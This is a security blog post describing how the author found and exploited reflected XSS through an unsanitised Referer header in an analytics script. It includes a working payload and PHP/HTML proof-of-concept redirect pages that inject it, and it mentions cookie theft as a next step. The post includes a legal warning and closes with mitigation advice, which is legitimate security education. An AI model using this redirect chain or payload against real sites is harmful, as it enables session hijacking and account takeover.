You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
141 lines
4.9 KiB
141 lines
4.9 KiB
3 years ago
|
---
|
||
|
title: XSS Through the Referer Header
|
||
|
tags:
|
||
|
- Security
|
||
|
description: In this blog post, I document how I achieved reflected XSS though a malicious http header.
|
||
|
date: 2021-10-14
|
||
|
---
|
||
|
|
||
|
XSS is a vulnerability in which a malicious actor is able to run JavaScript in
|
||
|
an unsuspecting clients browser session. Normally, this is done via input fields
|
||
|
whose values are reflected back to the user without proper sanitisation.
|
||
|
|
||
|
In this blog, I demonstrate a method I recently used that injected the payload
|
||
|
via the Referer [sip] header.
|
||
|
|
||
|
Only do this on websites you own or have permission to do so no. It is illegal
|
||
|
in most places to do this without permission.
|
||
|
|
||
|
## Initial foothold
|
||
|
|
||
|
I found myself looking at a website whose input fields were all well sanitised,
|
||
|
getting ready to write a pretty boring report. However, I spotted a snippet of
|
||
|
JavaScript in an analytics script that looked something like this:
|
||
|
|
||
|
```js
|
||
|
<script>
|
||
|
{
|
||
|
...
|
||
|
"referer": "site.com/page"
|
||
|
...
|
||
|
}
|
||
|
</script>
|
||
|
```
|
||
|
|
||
|
That sparked my interest so I opened pappy and changed the referer header to `"
|
||
|
+ alert(1),"":"`.
|
||
|
|
||
|
BRILLIANT! That worked. The referer header was not being sanitised.
|
||
|
|
||
|
|
||
|
## Crafting the referer header
|
||
|
|
||
|
So, that is nice, but it would take some serious social engineering to convince
|
||
|
someone to intercept a request in burp / pappy / some other proxy tool, change
|
||
|
their referer header to our payload and then submit the request. Really we
|
||
|
needed a way to control that header ourselves. For anyone that doesn't know, the
|
||
|
[referer header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer)
|
||
|
holds the address of the page that makes the request. This basically means the
|
||
|
previous page if a link was clicked.
|
||
|
|
||
|
There is also a related header called [referrer-policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)
|
||
|
that controls how much information is sent. I want to send as much as possible
|
||
|
so I manually set this to `unsafe-url` for my proof of concept.
|
||
|
|
||
|
```php
|
||
|
<?php
|
||
|
header('Referrer-Policy: unsafe-url');
|
||
|
?>
|
||
|
```
|
||
|
|
||
|
I am using php here because I know it. I'm not saying php is the best choice.
|
||
|
Use what you know and can use quickly for proof of concepts.
|
||
|
|
||
|
My initial thought was to simply use HTTP redirects to first redirect the user
|
||
|
to a page whose url contained my payload, and then from there to the vulnerable
|
||
|
page.
|
||
|
|
||
|
The code for that was:
|
||
|
|
||
|
```php
|
||
|
<?php
|
||
|
$payload='"+alert(1),"":"';
|
||
|
header('Referrer-Policy: unsafe-url');
|
||
|
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) {
|
||
|
header('Location: //localhost:8081/index.php/' . urlencode($payload));
|
||
|
}else{
|
||
|
header('Location: https://vulnerable-site.com/page');
|
||
|
}
|
||
|
?>
|
||
|
```
|
||
|
|
||
|
That didn't work. After some searching I realised that the referer header is not
|
||
|
changed when an http redirect is followed. It does however if the url is changed
|
||
|
with JS.
|
||
|
|
||
|
```php
|
||
|
$payload='"+alert(1),"":"';
|
||
|
header('Referrer-Policy: unsafe-url');
|
||
|
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) {
|
||
|
$location='//localhost:8081/index.php/' . urlencode($payload);
|
||
|
}else{
|
||
|
$location='https://vulnerable-site.com/page';
|
||
|
}
|
||
|
<!DOCTYPE html>
|
||
|
<html lang="en">
|
||
|
<head>
|
||
|
<meta charset="UTF-8" />
|
||
|
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||
|
<title>Example</title>
|
||
|
<script>
|
||
|
document.location="<?php echo $location; ?>";
|
||
|
</script>
|
||
|
</head>
|
||
|
<body>
|
||
|
Example
|
||
|
</body>
|
||
|
</html>
|
||
|
```
|
||
|
|
||
|
So, after hosting this at localhost:8081, I was able to visit it in my browser.
|
||
|
If doing this in the real world, I would host it on a public server somewhere
|
||
|
and try and convince a victim to click a link.
|
||
|
|
||
|
In my case, the initial link would be to `//localhost:8081/index.php`. This
|
||
|
would then use JS to redirect the victim to to
|
||
|
`//localhost:8081/index.php/%22%2Balert%281%29%2C%22%22%3A%22`. We would then
|
||
|
use JS again to redirct the user to the vulnerable site. With the
|
||
|
referrer-policy header set to unsafe-url, the browser will set the referer
|
||
|
header to the url including our payload and trigger our payload. In this
|
||
|
example, we are doing `alert(1)`. That's pretty boring and obvious to the user.
|
||
|
However, in the real world, we could send another request back to our server
|
||
|
with the contents of document.cookie to steal the session, or prompt the user to
|
||
|
re-enter their credentials and send that to ourselves. Once you have
|
||
|
unrestricted XSS, account compromise is normally possible.
|
||
|
|
||
|
## Improvements
|
||
|
|
||
|
Many of you may have noticed ways to improve the payload. For example, I hard
|
||
|
coded localhost:8081, the payload and various other information. If you want,
|
||
|
feel free to improve it but this is supposed to be a proof of concept, not a
|
||
|
well build program. When you're making POCs, it's the one time you really don't
|
||
|
need to worry about coding well - it's about getting something that works in a
|
||
|
short time frame.
|
||
|
|
||
|
## Solution
|
||
|
|
||
|
This issue came about because http headers were trusted. If the site had
|
||
|
validated the http header, or encoded it in some way, this would not have been
|
||
|
possible. Always sanitise. Never assume that anything that comes in the request
|
||
|
is safe.
|